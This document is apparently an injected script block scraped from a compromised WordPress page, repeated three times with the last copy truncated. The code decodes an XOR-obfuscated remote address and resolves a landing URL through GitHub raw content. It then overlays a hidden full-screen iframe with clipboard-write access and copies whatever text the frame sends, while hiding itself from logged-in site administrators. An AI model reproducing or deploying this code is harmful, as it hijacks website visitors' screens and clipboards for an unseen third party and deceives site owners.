    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

